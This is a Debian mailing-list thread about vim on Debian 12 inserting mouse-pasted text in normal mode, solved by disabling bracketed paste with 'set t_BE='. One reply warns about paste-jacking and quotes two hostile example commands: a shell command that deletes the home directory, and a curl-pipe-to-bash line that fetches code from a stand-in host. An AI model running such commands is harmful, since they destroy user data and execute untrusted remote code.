vim on Debian 12: How to disable the mouse GUI mode ?

[Thomas Schmitt]

Hi,

i am running vim in xterm windows.

Since an upgrade from Debian 11 to 12 the vim command

:set mouse=

does not disable the "GUI" interpretation of pasting text or numbers
when vim is in normal mode (i.e. when pressing ':' leads to a command
prompt in the base line and pressing 'i' leads to insert mode).

I am used to pasting in a line number and then pressing 'G' to go to
the line with that number. Now i get the insert mode enabled and my
number is written into the edited text.

So what can i do with contemporary Debian vim so that pasting does
not throw me of the normal mode ?

If the new behavior is a mandatory feature:
Did anybody hear of a vim-vuan project that offers resistance ?


(I have no Debian 11 at hand any more. It would be nice if one of the
vim users of Debian 11 could confirm that after
:set mouse=
pasting the number text "123" by the mouse and pressing "G" on the
keyboard brings the cursor to line 123 of the edited text.
Maybe "set mouse=" did not have the desired effect already back then
but the default was on my side ?)


Have a nice day :)

Thomas

[Justin Piszcz]

Post by Thomas Schmitt
Since an upgrade from Debian 11 to 12 the vim command
:set mouse=
does not disable the "GUI" interpretation of pasting text or numbers
when vim is in normal mode [...]

I'm not sure how you've got it configured, but just having a ~/.vimrc
file should be enough to disable the default system vimrc which has all
that broken mouse crap.
Unless I've got another file somewhere that I've forgotten...?

Not sure if related to the issue OP is having is the same but I had to
add this to my ~/.vimrc:
set mouse=v

More discussion about the mouse setting here:
https://unix.stackexchange.com/questions/139578/copy-paste-for-vim-is-not-working-when-mouse-set-mouse-a-is-on

[Greg Wooledge]

Post by Justin Piszcz

Post by Thomas Schmitt
Since an upgrade from Debian 11 to 12 the vim command
:set mouse=
does not disable the "GUI" interpretation of pasting text or numbers
when vim is in normal mode [...]

I'm not sure how you've got it configured, but just having a ~/.vimrc
file should be enough to disable the default system vimrc which has all
that broken mouse crap.
Unless I've got another file somewhere that I've forgotten...?

Not sure if related to the issue OP is having is the same but I had to
set mouse=v
https://unix.stackexchange.com/questions/139578/copy-paste-for-vim-is-not-working-when-mouse-set-mouse-a-is-on

My apologies; my previous message was written hastily. I didn't actually
test what Thomas was reporting.

Having now tested pasting with the mouse while in command mode, I can
confirm that I get the same behavior Thomas disliked. It's simply not
something that I normally do, so I didn't notice it.

In my testing, I ran vim with no arguments, and typed in a single line
of gibberish. Then, I moved the cursor to column 0. Finally, I typed
out the command 20l in a different terminal, highlighted it, and pasted
it into vim. Rather than moving my cursor 20 characters to the right,
it inserted the literal string "20l". Specifically, it acts as if I
had pressed "i20lESC". I began and ended in command mode, but command
text was inserted as if I had been in insert mode.

Doing :set mouse=v doesn't change this behavior, either.

Neither does any other mouse= mode that I've tried. Even "mouse=h"
which according to the documentation is supposed to "make the mouse work
in help files only" doesn't fix it.

So, unfortunately I don't have any answers to contribute here. All I
can give is a weak "me too".

[Dan Ritter]

Post by Greg Wooledge
In my testing, I ran vim with no arguments, and typed in a single line
of gibberish. Then, I moved the cursor to column 0. Finally, I typed
out the command 20l in a different terminal, highlighted it, and pasted
it into vim. Rather than moving my cursor 20 characters to the right,
it inserted the literal string "20l". Specifically, it acts as if I
had pressed "i20lESC". I began and ended in command mode, but command
text was inserted as if I had been in insert mode.

This is reminiscent of the bracketed paste mode. Were you (is
everyone here?) using a terminal with that turned on?

-dsr-

[Greg Wooledge]

Post by Thomas Schmitt
Since an upgrade from Debian 11 to 12 the vim command
:set mouse=
does not disable the "GUI" interpretation of pasting text or numbers
when vim is in normal mode [...]

I'm not sure how you've got it configured, but just having a ~/.vimrc
file should be enough to disable the default system vimrc which has all
that broken mouse crap.

Unless I've got another file somewhere that I've forgotten...?

[Thomas Schmitt]

Hi,

I'm not sure how you've got it configured, but just having a ~/.vimrc
file should be enough to disable the default system vimrc which has all
that broken mouse crap.

The problem is that the old way of crap-disabling does not work here.

I can perform in the vim session
:set mouse=
and verify that the setting is in effect, as far as "set" is concerned:
:set mouse?
shows in the base line:
mouse=
But the behavior is still not mouse agnostic (where mouse paste = keyboard
strokes).

For verification of my old vim knowledge i ask for full GUI:
:set mouse=a
Then ":set mouse?" yields
mouse=a

"mouse=a" is handcopied, because one cannot copy and paste that text.
I fully agree that vim GUI mousing is annoying, obtrusive, capricious,
counterintuitive, ... wheeze ... cough ...

I can write "set mouse=..." lines into my ~/.vimrc and their effect shows
up with ":set mouse?" in the vim session. But the effect on mouse pasting
just switches between two undesirable modes.

Not sure if related to the issue OP is having is the same but I had to
set mouse=v

Does not help here. :(

https://unix.stackexchange.com/questions/139578/copy-paste-for-vim-is-not-working-when-mouse-set-mouse-a-is-on

Seems to be about a problem with copying out of vim, not with pasting in.
I tried the proposals, nevertheless, and they did not help.


Have a nice day :)

Thomas

[David]

Post by Thomas Schmitt
(I have no Debian 11 at hand any more. It would be nice if one of the
vim users of Debian 11 could confirm that after
:set mouse=
pasting the number text "123" by the mouse and pressing "G" on the
keyboard brings the cursor to line 123 of the edited text.

Hi Thomas,

I see the opposite. In Debian 11 using
vim/oldstable,now 2:8.2.2434-3+deb11u1 amd64
running in an xterm
After
:set mouse=
I see that middle-mouse-button paste of number 123
does insert the characters 123 at the text cursor position.

I can only achieve what you want by pressing the ':' key
and then using middle-mouse-button to paste number
123 and then press enter key. This works the same with
both :set mouse=a and :set mouse=

I cant see any way to get the old behaviour you describe,
if anyone knows how to achieve that then I'm interested
to know, it never occurred to me that would work the
way you describe.

[Greg Wooledge]

I found a fix:

https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi

Apparently when in an "xterm environment" (whatever that means; apparently
it includes rxvt-unicode), turning on bracketed paste mode works:

:set t_BE=

The = is required.

[Thomas Schmitt]

Hi,

Post by Greg Wooledge
https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi
Apparently when in an "xterm environment" (whatever that means; apparently
:set t_BE=
The = is required.

Oh yes. This helps. \o/

I have put it into my ~/.vimrc now.


After this nudge i dimly remember to have seen this "set t_BE=" before.
Grrr. In 2021 i wrote in
https://lists.debian.org/debian-user/2021/12/msg00680.html

Post by Greg Wooledge

5. What will be the impact for upgrading Debian 10 with Kernel 4.19 to
Debian 11 with Kernel 5.10.

At least "bracketed-paste" and maybe other unsolicited changes.
(Yesterday i had to learn how to repair vim on a SuSE system: set t_BE=
I'm looking forward to my first upgrade to Debian 11 ...)

So the "set mouse=" was just a red herring in my old ~/.vimrc.
Well, it is mentioned in the enlightening stackexchange post, too.

I meanwile even booted debian-live-11.1.0-amd64-xfce.iso just to learn
that the dreaded behavior indeed is present after:
apt-get update
apt-get install vim


-----------------------------------------------------------------------
Now i wonder where i might have put "set t_BE=" on the Debian 11 system:

I have mounted the system disk image which i made before the upgrade
for the case of a fatal outcome.
But i cannot find a place where i have set t_BE= (or even mouse=).
At best i commented out mouse=a in the old /etc/vim/vimrc.

I tried
fgrep t_BE= /mnt/ext4/home/*/.vimrc
fgrep -r t_BE= /mnt/ext4/etc/vim
fgrep -r t_BE= /mnt/ext4/usr/share/vim/ | less

Any ideas where else i could have done the magic 2 years ago ?


Have a nice day :)

Thomas

[Max Nikulin]

Post by Thomas Schmitt

Post by Greg Wooledge
https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi
Apparently when in an "xterm environment" (whatever that means; apparently
:set t_BE=
The = is required.

Oh yes. This helps. \o/

I would consider some convenient key mapping that should be executed
before pasting line number instead of disabling bracketed paste
completely. There is a chance to paste something weird with hidden text
from a web page or from a HTML mail message.

[Thomas Schmitt]

Hi,

I would consider some convenient key mapping that should be executed before
pasting line number instead of disabling bracketed paste completely. There
is a chance to paste something weird with hidden text from a web page or
from a HTML mail message.

I am not sure whether i want to tolerate any extra manual effort.
The risks are known and many were suffered at least once during the last
decades. (Keys "u" and "Ctrl+r" are my friends.)

My main use case is in software development, which in my case is widely
error-driven. It frequently happens that the C compiler issues justified
complaints like:

./read_run.c:2780:15: error: ‘dsk_path’ undeclared (first use in this function)

Then i double click the "2780", paste it into the xterm where vim has
"read_run.c" open, and press key 'G'. This brings me to my code sin.
(":" and "=" are excluded from the double-click set in my XTerm
configuration.)


----------------------------------------------------------------------
Said that, now for your proposal:

The key "APPS" (left neighbor of right Control key) is unused on my
keyboard. xev reports:

KeyPress event, serial 37, synthetic NO, window 0x14400001,
root 0xa4, subw 0x0, time 2417727269, (67,102), root:(128,235),
state 0x0, keycode 135 (keysym 0xff67, Menu), same_screen YES,
XLookupString gives 0 bytes:
XmbLookupString gives 0 bytes:
XFilterEvent returns: False

If it would spare me the 'G' in above situation then it would be a
viable alternative.
I.e.: Copy, APPS key, Paste would bring me directly to the line.

But i never programmed in Vimscript. So i would need a tangible example
and learn to understand it before i apply it.

(And then i need to learn the new finger habit, to press APPS before
paste, rather than 'G' afterwards.
I aquired the old habit in the early 1990s, when i was forced to "vi"
after my Apollo Domain workstation was replaced by a SUN SparcStation.
I still miss Apollo DM's text editor. But at least i got my screen
background "slate.gif" from the SUN and was prepared for meeting Linux
a few years later. The "brown" Apollo DM windows are origin of my xterm
background color "wheat". "Blue" DM windows burnt out people's eyes.
... oh nostalgy, again.)


Have a nice day :)

Thomas

[Max Nikulin]

Post by Thomas Schmitt

I would consider some convenient key mapping that should be executed before
pasting line number instead of disabling bracketed paste completely. There
is a chance to paste something weird with hidden text from a web page or
from a HTML mail message.

[...]

Post by Thomas Schmitt
(Keys "u" and "Ctrl+r" are my friends.)

I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird |
bash &" after a newline.

Post by Thomas Schmitt
My main use case is in software development, which in my case is widely
error-driven. It frequently happens that the C compiler issues justified
./read_run.c:2780:15: error: ‘dsk_path’ undeclared (first use in this function)

Some ideas:

:help :make
:help clientserver

Post by Thomas Schmitt
Then i double click the "2780", paste it into the xterm where vim has
"read_run.c" open, and press key 'G'. This brings me to my code sin.
(":" and "=" are excluded from the double-click set in my XTerm
configuration.)

I have no idea if it is possible to invoke some function instead of
default <PasteStart> handler.

Instead of middle click I would consider some <Leader> key mapping to a
command that inspects the "* register for patterns acceptable for gf and
either opens specified location or insert text.

[Thomas Schmitt]

Hi,

Post by Max Nikulin
I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird |
bash &" after a newline.

Although this attack vector does not match my copy+paste habits, i shall
think about replacing my use of vim by rvim. man vim says:

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possi-
ble to start shell commands, or suspend Vim. Can also be
done with the "-Z" argument.

"suspend Vim" ? ... google ... holy moly.
Ctrl+z brings me out of vim to bash, and a bash builtin named "fg" brings
me back in.
(Now i need to re-read man bash about "jobspec". My stack runneth over.)

Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view"
by "rview" ? (So that this PEBKAC cannot fall back to old habits ?)

Post by Max Nikulin
:help :make
:help clientserver

I think these two lean a little too much towards the ":!rm -rf" side.

Post by Max Nikulin
Instead of middle click I would consider some <Leader> key mapping to a
command that inspects the "* register for patterns acceptable for gf and
either opens specified location or insert text.

If i had a clue about where to start learning and if my stack was not
overflowing, this could be an interesting endeavor.


Have a nice day :)

Thomas

[Greg Wooledge]

Post by Thomas Schmitt
Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view"
by "rview" ? (So that this PEBKAC cannot fall back to old habits ?)

update-alternatives, or just set up some personal shell aliases.

[Max Nikulin]

Post by Thomas Schmitt

Post by Max Nikulin
:help :make
:help clientserver

I think these two lean a little too much towards the ":!rm -rf" side.

It was in the context of jumping to compiler error. You can start build
from vim or load a log file and use commands like :cn to navigate to
next error. It may be more convenient than switching between windows.

Alternatively, I think, running vim in server mode it is possible to
create global (e.g window manager shortcut) to open specific location in
vim.